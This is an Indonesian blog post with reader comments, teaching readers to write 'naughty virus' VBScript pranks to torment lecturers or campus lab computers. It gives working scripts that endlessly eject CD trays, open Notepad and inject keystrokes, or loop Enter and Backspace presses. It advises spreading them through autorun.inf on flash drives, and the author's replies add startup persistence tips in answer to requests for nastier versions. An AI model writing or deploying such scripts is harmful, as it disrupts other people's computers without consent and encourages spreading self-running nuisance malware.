Cari Artikel Disini
Cara membuat Virus Nakal
Yuk buat “Virus” Nakal, buat ngerjain dosen/guru yang kita ngga suka, lagi suntuk di ruang labkom kampus, pusing ngga bisa maen facebook karena diblokir sama admin labkom, yah iseng2 buatin scripts .vbs.
Caranya: Buka notepad dan masukkan code berikut,
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loopSimpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti.
Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe colokin ke kompie kampus, maka akan otomatis dijalankan “Virus” Nakal ini.
NB: kl males atau ga tau cara copasnya. download ajah linknya diakhir artikel:
Nah mau script .vbs yang laen lagi?
WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "H"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys ". "
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
wscript.sleep 5000
loopScripts diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? kabar baik?
ingat yah simpan dengan ekstensi nama .vbs, klik file–>save as
Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq!” 
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Kamu emang jelak koq!"
loopDan membuat terus menerus menekan tombol “Enter”
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loopTerus tekan backspace:
MsgBox "Balik lagi ah...saltik"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop(post updated: May 8, 2010)
Download virus nakal disini
Label : buat virus • cara buat virus •
Artikel Terkait- Cara mudah menampilkan ekstensi file
- Cara mudah menampilkan/menyembunyikan file dan folder
- Cara mencuri file dari komputer teman
- Buat virus Fesbuk yuk
- Cara membasmi Virus Cinta Laura
Temukan HonG.WeB.iD di Facebook
@SONJACK, autorun berfungsi koq kalo ngga di matikan fungsinya.
gan,cara matiin script yg ke2 ke3 dst.gimana gan???
@Ugha_nyubi, tekan crtl+alt+del, cari proses wscripts.exe dan matikan prosesnya
kok malah muncul windows script host isinya :
script: E:\
Line: 5
Char: 1
Error: Expected statement
Trus gmn y? Thanks
@chibby, udah betul copy/paste scriptsnya?
bang………………bisa enggak di gabung scripnya di bawah ama yang di atas supaya cuma satu file.vbs tapi isi nya banyak…?
bang…………ada enggak cara yg lebih efectif lagi. yg langsung jalang otomatis tanpa di klick terlebih dahulu file.vbs nya..?
@andhy, pake autorun.inf di flashdisk, bisa juga di gabungkan skrip nya.
bang bagaimana cara untuk mengembalikan steln awalpada W.7
oya satu lagi bang bagaimana cara supaya W.7 cepat untuk baca flash, yang kadang2 flash kita gk mau dibaca sama win. 7 yang saya paki padh w.7 Profesional.
mohon infonya bang
@kiss, stelan awal maksudnya? coba system restore ajah untuk mengembalikan stelan awal kl ada error dll, ttg fd yg kdg ga mau kedetek, mungkin ada virusnya? coba di cek di kompie lain apa sama ngga?
mantabbbbbbbb brada.. ane coba dulu dah..
Gmana cra bwt virus nakal yg nnti tba2 komputr tu bsa mti sndri ?
punya virus yg lebih nakal ga bang
bang,virus nakalnya np gk bs jalan saat komputer mati?apa virus nakalnya hanya bisa jalan saat kmputer hdup n saat vrusnya djlnkn scr manual?np saat kmputer d restart virus nakalnya tdk bs jln????
wah ini harus dipraktikin byar tau hasilx….sukses mas
@diego, bro ini virus nakal yah bisa jalan pas komputer lagi hidup donk, kl di restart yah ngga jalan lagi donk, kecuali di set ke autostartup di windows nya
dikirim ke hp bisa ngga….
ehh itu warnet kagak ada cd room nya…trus kalau gt yang keluar apanya tuh..
@kalempong, ngg keluar apa2 bro
Muantaaaaap. thanks salam kenal
Keren Man!!!!!
Work Bgt!!!!
Nanti Gw kerjain Tmn Gw Pkai Viru Neh!!!
Thank Yaaaaaa
bisa g misal di bua dalam bentuk http://
jadi bisa di link-kan
tinggal klik langsung dech…
gimana caranya?????
tx b4…
gan kok nggak bisa, di widows 7.
n kurang cara nyimpan’y di mna
ini hanya di windows XP ya ??
wah bagus jd pngn mulai noba
wah bagus jd pngn mulai nyoba
Kerennn om ….
bisa di compile dengan beberapa script yang laen neh …
HEHuehueheuhueh …..
Thanx …
mkasyyy bnyaaakkk brooo..
Bang, klo kita aktif kn firus.a pakah tar k.baca ma antivitus.a??
makasih banget bang info nya sangat berguna bagi saya yg newbie,,
Makasih sob,, atas infonya
ini sangat membantu sekali bagi pemula seperti saya…
waaaaaaaaaaaaawwww…., keren gan virusnya,,,,
waw…….keren
kalo cara virus langsung jalan begitu kita download itu gmn bang ???